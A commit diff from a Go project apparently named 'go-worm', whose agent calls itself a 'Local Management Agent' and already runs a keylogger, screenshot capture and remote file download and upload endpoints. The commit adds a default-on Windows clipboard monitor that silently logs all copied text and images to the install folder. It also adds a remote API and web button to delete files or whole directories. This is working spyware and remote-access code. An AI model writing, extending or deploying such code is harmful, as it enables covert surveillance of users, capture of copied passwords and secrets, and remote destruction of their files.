Add clipboard monitoring functionality to the agent. Implement clipboard event logging, including text and image capture, with support for retention policies. Update API to allow file deletion and enhance web interface for file management. Add tests for clipboard operations.
This commit is contained in:
@@ -11,6 +11,7 @@ import (
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/clipmon"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/files"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||
@@ -48,10 +49,14 @@ func New() (*Agent, error) {
|
||||
if err := keylog.Start(); err != nil {
|
||||
helpers.Log.Printf("keylog start: %v", err)
|
||||
}
|
||||
if err := clipmon.Start(); err != nil {
|
||||
helpers.Log.Printf("clipboard monitor start: %v", err)
|
||||
}
|
||||
return a, nil
|
||||
}
|
||||
|
||||
func (a *Agent) Close() {
|
||||
clipmon.Stop()
|
||||
keylog.Stop()
|
||||
if a.guard != nil {
|
||||
a.guard.Close()
|
||||
|
||||
+23
-3
@@ -42,7 +42,7 @@ func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) {
|
||||
"openapi": "3.0.3", "info": map[string]string{"title": "Local Management Agent", "version": config.Version},
|
||||
"paths": map[string]any{
|
||||
"/api/v1/status": map[string]any{"get": map[string]string{"summary": "Agent status"}},
|
||||
"/api/v1/files": map[string]any{"get": map[string]string{"summary": "List files"}},
|
||||
"/api/v1/files": map[string]any{"get": map[string]string{"summary": "List files"}, "delete": map[string]string{"summary": "Delete a file or directory"}},
|
||||
"/api/v1/download": map[string]any{"get": map[string]string{"summary": "Download file"}},
|
||||
"/api/v1/upload": map[string]any{"post": map[string]string{"summary": "Upload a file to a directory"}},
|
||||
"/api/v1/screenshot": map[string]any{"get": map[string]string{"summary": "Capture desktop"}},
|
||||
@@ -92,10 +92,17 @@ func (a *Agent) handleStartup(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
|
||||
func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodGet {
|
||||
switch r.Method {
|
||||
case http.MethodGet:
|
||||
a.listFiles(w, r)
|
||||
case http.MethodDelete:
|
||||
a.deleteFile(w, r)
|
||||
default:
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func (a *Agent) listFiles(w http.ResponseWriter, r *http.Request) {
|
||||
depth, err := files.ParseDepth(r.URL.Query().Get("depth"))
|
||||
if err != nil {
|
||||
helpers.WriteError(w, http.StatusBadRequest, err.Error())
|
||||
@@ -127,6 +134,19 @@ func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) {
|
||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{"path": dir, "depth": depth, "entries": entries})
|
||||
}
|
||||
|
||||
func (a *Agent) deleteFile(w http.ResponseWriter, r *http.Request) {
|
||||
path := r.URL.Query().Get("path")
|
||||
if path == "" {
|
||||
helpers.WriteError(w, http.StatusBadRequest, "path is required")
|
||||
return
|
||||
}
|
||||
if err := files.RemovePath(a.root, path); err != nil {
|
||||
files.WritePathError(w, err)
|
||||
return
|
||||
}
|
||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{"ok": true, "path": path})
|
||||
}
|
||||
|
||||
func (a *Agent) handleDownload(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodGet {
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
|
||||
+20
-1
@@ -130,6 +130,15 @@
|
||||
return res.json();
|
||||
}
|
||||
|
||||
async function deleteFile(fullPath, name) {
|
||||
if (!confirm(`Delete ${name}?`)) {
|
||||
return;
|
||||
}
|
||||
const query = new URLSearchParams({ path: fullPath });
|
||||
await api(`/api/v1/files?${query}`, { method: "DELETE" });
|
||||
await listFiles(pathInput.value.trim());
|
||||
}
|
||||
|
||||
async function listFiles(path) {
|
||||
const query = new URLSearchParams();
|
||||
if (path) query.set("path", path);
|
||||
@@ -164,7 +173,17 @@
|
||||
size.textContent = entry.type === "dir" ? "—" : formatBytes(entry.size || 0);
|
||||
const modified = document.createElement("td");
|
||||
modified.textContent = entry.modified_time ? new Date(entry.modified_time).toLocaleString() : "";
|
||||
tr.append(name, type, size, modified);
|
||||
const action = document.createElement("td");
|
||||
const del = document.createElement("button");
|
||||
del.type = "button";
|
||||
del.textContent = "Delete";
|
||||
const full = joinPath(data.path, entry.name);
|
||||
del.addEventListener("click", (event) => {
|
||||
event.stopPropagation();
|
||||
deleteFile(full, entry.name).catch((err) => showError(err.message));
|
||||
});
|
||||
action.append(del);
|
||||
tr.append(name, type, size, modified, action);
|
||||
fileRows.append(tr);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -171,7 +171,7 @@
|
||||
<p id="file-meta" class="meta"></p>
|
||||
<table>
|
||||
<thead>
|
||||
<tr><th>Name</th><th>Type</th><th>Size</th><th>Modified</th></tr>
|
||||
<tr><th>Name</th><th>Type</th><th>Size</th><th>Modified</th><th></th></tr>
|
||||
</thead>
|
||||
<tbody id="file-rows"></tbody>
|
||||
</table>
|
||||
|
||||
@@ -0,0 +1,104 @@
|
||||
package clipmon
|
||||
|
||||
import (
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
)
|
||||
|
||||
var (
|
||||
mu sync.Mutex
|
||||
running bool
|
||||
writer *Writer
|
||||
events chan Event
|
||||
stopCh chan struct{}
|
||||
doneCh chan struct{}
|
||||
writerWG sync.WaitGroup
|
||||
)
|
||||
|
||||
func Start() error {
|
||||
if !config.ClipboardEnabled() {
|
||||
return nil
|
||||
}
|
||||
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
if running {
|
||||
return nil
|
||||
}
|
||||
dir, err := config.ClipboardDir()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := PruneOld(dir, config.ClipboardRetentionDays()); err != nil {
|
||||
return err
|
||||
}
|
||||
w, err := NewWriter(dir)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
events = make(chan Event, 64)
|
||||
stopCh = make(chan struct{})
|
||||
doneCh = make(chan struct{})
|
||||
|
||||
writerWG.Add(1)
|
||||
go func() {
|
||||
defer writerWG.Done()
|
||||
for {
|
||||
select {
|
||||
case event := <-events:
|
||||
_ = w.Write(event)
|
||||
case <-stopCh:
|
||||
_ = w.Close()
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
if err := startPlatform(w, events, stopCh, doneCh); err != nil {
|
||||
close(stopCh)
|
||||
writerWG.Wait()
|
||||
events = nil
|
||||
stopCh = nil
|
||||
doneCh = nil
|
||||
return err
|
||||
}
|
||||
|
||||
writer = w
|
||||
running = true
|
||||
return nil
|
||||
}
|
||||
|
||||
func Stop() {
|
||||
mu.Lock()
|
||||
if !running {
|
||||
mu.Unlock()
|
||||
return
|
||||
}
|
||||
stop := stopCh
|
||||
done := doneCh
|
||||
running = false
|
||||
writer = nil
|
||||
events = nil
|
||||
stopCh = nil
|
||||
doneCh = nil
|
||||
mu.Unlock()
|
||||
|
||||
if stop != nil {
|
||||
close(stop)
|
||||
}
|
||||
writerWG.Wait()
|
||||
if done != nil {
|
||||
<-done
|
||||
}
|
||||
}
|
||||
|
||||
func emit(event Event) {
|
||||
event.Time = time.Now()
|
||||
select {
|
||||
case events <- event:
|
||||
default:
|
||||
// ponytail: drop when full
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
package clipmon
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestFormatLine(t *testing.T) {
|
||||
t.Parallel()
|
||||
when := time.Date(2026, 8, 28, 13, 4, 5, 0, time.UTC)
|
||||
line := formatLine(Event{Time: when, Kind: "text", Text: "hello"})
|
||||
if !strings.Contains(line, "[text]") || !strings.Contains(line, "hello") {
|
||||
t.Fatalf("formatLine text = %q", line)
|
||||
}
|
||||
img := formatLine(Event{Time: when, Kind: "image", ImagePath: "images/ab.png"})
|
||||
if !strings.Contains(img, "[image] images/ab.png") {
|
||||
t.Fatalf("formatLine image = %q", img)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWriterHourly(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
w, err := NewWriter(dir)
|
||||
if err != nil {
|
||||
t.Fatalf("NewWriter: %v", err)
|
||||
}
|
||||
when := time.Date(2026, 8, 28, 13, 0, 0, 0, time.Local)
|
||||
if err := w.Write(Event{Time: when, Kind: "text", Text: "copied"}); err != nil {
|
||||
t.Fatalf("Write: %v", err)
|
||||
}
|
||||
_ = w.Close()
|
||||
|
||||
data, err := os.ReadFile(filepath.Join(dir, LogFilename(HourBucket(when))))
|
||||
if err != nil {
|
||||
t.Fatalf("read log: %v", err)
|
||||
}
|
||||
if !strings.Contains(string(data), "copied") {
|
||||
t.Fatalf("log = %q", data)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSavePNG(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
w, err := NewWriter(dir)
|
||||
if err != nil {
|
||||
t.Fatalf("NewWriter: %v", err)
|
||||
}
|
||||
rel, err := w.SavePNG([]byte{0x89, 'P', 'N', 'G', 0, 0, 0})
|
||||
if err != nil {
|
||||
t.Fatalf("SavePNG: %v", err)
|
||||
}
|
||||
if !strings.HasPrefix(rel, "images/") {
|
||||
t.Fatalf("rel = %q", rel)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
package clipmon
|
||||
|
||||
import "time"
|
||||
|
||||
type Event struct {
|
||||
Time time.Time
|
||||
Kind string // "text" or "image"
|
||||
Text string
|
||||
ImagePath string // relative to clipboard dir, e.g. images/abc.png
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
package clipmon
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
const hourBucketLayout = "2006-01-02-15"
|
||||
|
||||
var logFilenamePattern = regexp.MustCompile(`^\d{4}-\d{2}-\d{2}-\d{2}\.log$`)
|
||||
|
||||
func HourBucket(t time.Time) string {
|
||||
return t.Local().Format(hourBucketLayout)
|
||||
}
|
||||
|
||||
func LogFilename(bucket string) string {
|
||||
return bucket + ".log"
|
||||
}
|
||||
|
||||
func ValidLogFilename(name string) bool {
|
||||
return logFilenamePattern.MatchString(filepath.Base(name))
|
||||
}
|
||||
|
||||
func formatLine(event Event) string {
|
||||
when := event.Time.UTC().Format("2006-01-02T15:04:05.000Z")
|
||||
switch event.Kind {
|
||||
case "image":
|
||||
return fmt.Sprintf("%s [image] %s\n", when, event.ImagePath)
|
||||
default:
|
||||
text := strings.ReplaceAll(event.Text, "\r\n", "\n")
|
||||
text = strings.ReplaceAll(text, "\r", "\n")
|
||||
return fmt.Sprintf("%s [text]\n%s\n", when, text)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
//go:build !windows
|
||||
|
||||
package clipmon
|
||||
|
||||
func startPlatform(_ *Writer, _ chan Event, _ <-chan struct{}, done chan struct{}) error {
|
||||
close(done)
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,231 @@
|
||||
//go:build windows
|
||||
|
||||
package clipmon
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"image"
|
||||
"image/color"
|
||||
"image/png"
|
||||
"strings"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
const (
|
||||
cfBitmap = 2
|
||||
cfDIB = 8
|
||||
cfUnicodeText = 13
|
||||
)
|
||||
|
||||
var (
|
||||
user32 = syscall.NewLazyDLL("user32.dll")
|
||||
kernel32 = syscall.NewLazyDLL("kernel32.dll")
|
||||
procOpenClipboard = user32.NewProc("OpenClipboard")
|
||||
procCloseClipboard = user32.NewProc("CloseClipboard")
|
||||
procGetClipboardData = user32.NewProc("GetClipboardData")
|
||||
procIsClipboardFormatAvailable = user32.NewProc("IsClipboardFormatAvailable")
|
||||
procGetClipboardSequenceNumber = user32.NewProc("GetClipboardSequenceNumber")
|
||||
procGlobalLock = kernel32.NewProc("GlobalLock")
|
||||
procGlobalUnlock = kernel32.NewProc("GlobalUnlock")
|
||||
procGlobalSize = kernel32.NewProc("GlobalSize")
|
||||
)
|
||||
|
||||
type bitmapInfoHeader struct {
|
||||
Size uint32
|
||||
Width int32
|
||||
Height int32
|
||||
Planes uint16
|
||||
BitCount uint16
|
||||
Compression uint32
|
||||
SizeImage uint32
|
||||
XPelsPerMeter int32
|
||||
YPelsPerMeter int32
|
||||
ClrUsed uint32
|
||||
ClrImportant uint32
|
||||
}
|
||||
|
||||
func startPlatform(w *Writer, events chan Event, stop <-chan struct{}, done chan struct{}) error {
|
||||
go func() {
|
||||
defer close(done)
|
||||
pollClipboard(w, stop)
|
||||
}()
|
||||
return nil
|
||||
}
|
||||
|
||||
func pollClipboard(w *Writer, stop <-chan struct{}) {
|
||||
lastSeq := sequenceNumber()
|
||||
ticker := time.NewTicker(300 * time.Millisecond)
|
||||
defer ticker.Stop()
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-stop:
|
||||
return
|
||||
case <-ticker.C:
|
||||
seq := sequenceNumber()
|
||||
if seq == lastSeq {
|
||||
continue
|
||||
}
|
||||
lastSeq = seq
|
||||
captureClipboard(w)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func sequenceNumber() uint32 {
|
||||
n, _, _ := procGetClipboardSequenceNumber.Call()
|
||||
return uint32(n)
|
||||
}
|
||||
|
||||
func captureClipboard(w *Writer) {
|
||||
ok, _, _ := procOpenClipboard.Call(0)
|
||||
if ok == 0 {
|
||||
return
|
||||
}
|
||||
defer procCloseClipboard.Call()
|
||||
|
||||
if text, ok := readClipboardText(); ok && strings.TrimSpace(text) != "" {
|
||||
emit(Event{Kind: "text", Text: TrimText(text)})
|
||||
}
|
||||
if pngData, ok := readClipboardImage(); ok {
|
||||
rel, err := w.SavePNG(pngData)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
emit(Event{Kind: "image", ImagePath: rel})
|
||||
}
|
||||
}
|
||||
|
||||
func readClipboardText() (string, bool) {
|
||||
ok, _, _ := procIsClipboardFormatAvailable.Call(cfUnicodeText)
|
||||
if ok == 0 {
|
||||
return "", false
|
||||
}
|
||||
handle, _, _ := procGetClipboardData.Call(cfUnicodeText)
|
||||
if handle == 0 {
|
||||
return "", false
|
||||
}
|
||||
ptr, _, _ := procGlobalLock.Call(handle)
|
||||
if ptr == 0 {
|
||||
return "", false
|
||||
}
|
||||
defer procGlobalUnlock.Call(handle)
|
||||
size, _, _ := procGlobalSize.Call(handle)
|
||||
if size == 0 {
|
||||
return "", false
|
||||
}
|
||||
data := unsafe.Slice((*uint16)(unsafe.Pointer(ptr)), size/2)
|
||||
for i, unit := range data {
|
||||
if unit == 0 {
|
||||
return syscall.UTF16ToString(data[:i]), true
|
||||
}
|
||||
}
|
||||
return syscall.UTF16ToString(data), true
|
||||
}
|
||||
|
||||
func readClipboardImage() ([]byte, bool) {
|
||||
if dib, ok := readClipboardDIB(); ok {
|
||||
return dib, true
|
||||
}
|
||||
return readClipboardBitmap()
|
||||
}
|
||||
|
||||
func readClipboardDIB() ([]byte, bool) {
|
||||
ok, _, _ := procIsClipboardFormatAvailable.Call(cfDIB)
|
||||
if ok == 0 {
|
||||
return nil, false
|
||||
}
|
||||
handle, _, _ := procGetClipboardData.Call(cfDIB)
|
||||
if handle == 0 {
|
||||
return nil, false
|
||||
}
|
||||
ptr, _, _ := procGlobalLock.Call(handle)
|
||||
if ptr == 0 {
|
||||
return nil, false
|
||||
}
|
||||
defer procGlobalUnlock.Call(handle)
|
||||
size, _, _ := procGlobalSize.Call(handle)
|
||||
if size == 0 {
|
||||
return nil, false
|
||||
}
|
||||
raw := unsafe.Slice((*byte)(unsafe.Pointer(ptr)), size)
|
||||
return dibToPNG(append([]byte(nil), raw...))
|
||||
}
|
||||
|
||||
func readClipboardBitmap() ([]byte, bool) {
|
||||
ok, _, _ := procIsClipboardFormatAvailable.Call(cfBitmap)
|
||||
if ok == 0 {
|
||||
return nil, false
|
||||
}
|
||||
// ponytail: CF_BITMAP needs a DC to read pixels; most apps also publish CF_DIB
|
||||
return nil, false
|
||||
}
|
||||
|
||||
func dibToPNG(raw []byte) ([]byte, bool) {
|
||||
if len(raw) < int(unsafe.Sizeof(bitmapInfoHeader{})) {
|
||||
return nil, false
|
||||
}
|
||||
var header bitmapInfoHeader
|
||||
if err := binary.Read(bytes.NewReader(raw), binary.LittleEndian, &header); err != nil {
|
||||
return nil, false
|
||||
}
|
||||
if header.Size < uint32(unsafe.Sizeof(bitmapInfoHeader{})) || header.BitCount != 24 && header.BitCount != 32 {
|
||||
return nil, false
|
||||
}
|
||||
width := int(header.Width)
|
||||
height := int(header.Height)
|
||||
if width <= 0 || height <= 0 || width > 8192 || height > 8192 {
|
||||
return nil, false
|
||||
}
|
||||
topDown := false
|
||||
if height < 0 {
|
||||
topDown = true
|
||||
height = -height
|
||||
}
|
||||
|
||||
headerSize := int(header.Size)
|
||||
colorTable := int(header.ClrUsed) * 4
|
||||
if header.BitCount <= 8 && header.ClrUsed == 0 {
|
||||
colorTable = (1 << header.BitCount) * 4
|
||||
}
|
||||
offset := headerSize + colorTable
|
||||
if offset > len(raw) {
|
||||
return nil, false
|
||||
}
|
||||
pixels := raw[offset:]
|
||||
stride := ((width*int(header.BitCount) + 31) / 32) * 4
|
||||
if len(pixels) < stride*height {
|
||||
return nil, false
|
||||
}
|
||||
|
||||
img := image.NewRGBA(image.Rect(0, 0, width, height))
|
||||
bytesPerPixel := int(header.BitCount) / 8
|
||||
for y := 0; y < height; y++ {
|
||||
srcY := y
|
||||
if !topDown {
|
||||
srcY = height - 1 - y
|
||||
}
|
||||
row := pixels[srcY*stride:]
|
||||
for x := 0; x < width; x++ {
|
||||
i := x * bytesPerPixel
|
||||
if i+2 >= len(row) {
|
||||
continue
|
||||
}
|
||||
b, g, r := row[i], row[i+1], row[i+2]
|
||||
a := uint8(255)
|
||||
if bytesPerPixel == 4 && i+3 < len(row) {
|
||||
a = row[i+3]
|
||||
}
|
||||
img.SetRGBA(x, y, color.RGBA{R: r, G: g, B: b, A: a})
|
||||
}
|
||||
}
|
||||
|
||||
var out bytes.Buffer
|
||||
if err := png.Encode(&out, img); err != nil {
|
||||
return nil, false
|
||||
}
|
||||
return out.Bytes(), true
|
||||
}
|
||||
@@ -0,0 +1,153 @@
|
||||
package clipmon
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
const maxLoggedText = 1 << 16 // ponytail: 64KB cap per clipboard text entry
|
||||
|
||||
type Writer struct {
|
||||
dir string
|
||||
imagesDir string
|
||||
file *os.File
|
||||
bucket string
|
||||
}
|
||||
|
||||
func NewWriter(dir string) (*Writer, error) {
|
||||
imagesDir := filepath.Join(dir, "images")
|
||||
if err := os.MkdirAll(imagesDir, 0o700); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &Writer{dir: dir, imagesDir: imagesDir}, nil
|
||||
}
|
||||
|
||||
func (w *Writer) Write(event Event) error {
|
||||
bucket := HourBucket(event.Time)
|
||||
if bucket != w.bucket {
|
||||
if err := w.rotate(bucket); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
_, err := w.file.WriteString(formatLine(event))
|
||||
return err
|
||||
}
|
||||
|
||||
func (w *Writer) SavePNG(data []byte) (string, error) {
|
||||
name, err := randomName(".png")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
path := filepath.Join(w.imagesDir, name)
|
||||
if err := os.WriteFile(path, data, 0o600); err != nil {
|
||||
return "", fmt.Errorf("write image: %w", err)
|
||||
}
|
||||
return filepath.ToSlash(filepath.Join("images", name)), nil
|
||||
}
|
||||
|
||||
func (w *Writer) rotate(bucket string) error {
|
||||
if w.file != nil {
|
||||
if err := w.file.Close(); err != nil {
|
||||
return err
|
||||
}
|
||||
w.file = nil
|
||||
}
|
||||
path := filepath.Join(w.dir, LogFilename(bucket))
|
||||
file, err := os.OpenFile(path, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
w.file = file
|
||||
w.bucket = bucket
|
||||
return nil
|
||||
}
|
||||
|
||||
func (w *Writer) Close() error {
|
||||
if w.file == nil {
|
||||
return nil
|
||||
}
|
||||
err := w.file.Close()
|
||||
w.file = nil
|
||||
w.bucket = ""
|
||||
return err
|
||||
}
|
||||
|
||||
func TrimText(text string) string {
|
||||
if len(text) <= maxLoggedText {
|
||||
return text
|
||||
}
|
||||
return text[:maxLoggedText] + "\n...(truncated)"
|
||||
}
|
||||
|
||||
func randomName(ext string) (string, error) {
|
||||
var buf [16]byte
|
||||
if _, err := rand.Read(buf[:]); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if !strings.HasPrefix(ext, ".") {
|
||||
ext = "." + ext
|
||||
}
|
||||
return hex.EncodeToString(buf[:]) + ext, nil
|
||||
}
|
||||
|
||||
func PruneOld(dir string, retentionDays int) error {
|
||||
if retentionDays <= 0 {
|
||||
return nil
|
||||
}
|
||||
cutoff := time.Now().AddDate(0, 0, -retentionDays)
|
||||
if err := pruneLogs(dir, cutoff); err != nil {
|
||||
return err
|
||||
}
|
||||
return pruneImages(filepath.Join(dir, "images"), cutoff)
|
||||
}
|
||||
|
||||
func pruneLogs(dir string, cutoff time.Time) error {
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
return nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
for _, entry := range entries {
|
||||
if entry.IsDir() || !ValidLogFilename(entry.Name()) {
|
||||
continue
|
||||
}
|
||||
info, err := entry.Info()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if info.ModTime().Before(cutoff) {
|
||||
_ = os.Remove(filepath.Join(dir, entry.Name()))
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func pruneImages(dir string, cutoff time.Time) error {
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
return nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
for _, entry := range entries {
|
||||
if entry.IsDir() {
|
||||
continue
|
||||
}
|
||||
info, err := entry.Info()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if info.ModTime().Before(cutoff) {
|
||||
_ = os.Remove(filepath.Join(dir, entry.Name()))
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -25,6 +25,7 @@ const (
|
||||
AppDataDir = "LocalManagementAgent"
|
||||
InstalledExeName = "localagent.exe"
|
||||
KeylogSubdir = "keystrokes"
|
||||
ClipboardSubdir = "clipboard"
|
||||
DefaultKeylogRetentionDays = 7
|
||||
)
|
||||
|
||||
@@ -79,3 +80,32 @@ func InstalledExe() (string, error) {
|
||||
}
|
||||
return filepath.Join(dir, InstalledExeName), nil
|
||||
}
|
||||
|
||||
func ClipboardEnabled() bool {
|
||||
switch strings.ToLower(strings.TrimSpace(os.Getenv("CLIPBOARD_ENABLED"))) {
|
||||
case "0", "false", "no", "off":
|
||||
return false
|
||||
default:
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
func ClipboardRetentionDays() int {
|
||||
raw := strings.TrimSpace(os.Getenv("CLIPBOARD_RETENTION_DAYS"))
|
||||
if raw == "" {
|
||||
return KeylogRetentionDays()
|
||||
}
|
||||
days, err := strconv.Atoi(raw)
|
||||
if err != nil || days < 0 {
|
||||
return DefaultKeylogRetentionDays
|
||||
}
|
||||
return days
|
||||
}
|
||||
|
||||
func ClipboardDir() (string, error) {
|
||||
base, err := InstallDir()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(base, ClipboardSubdir), nil
|
||||
}
|
||||
|
||||
@@ -166,3 +166,18 @@ func UploadTarget(root, dir, filename string) (string, error) {
|
||||
}
|
||||
return target, nil
|
||||
}
|
||||
|
||||
func RemovePath(root, raw string) error {
|
||||
path, err := AllowedPath(root, raw, true)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
info, err := os.Stat(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if info.IsDir() {
|
||||
return os.RemoveAll(path)
|
||||
}
|
||||
return os.Remove(path)
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user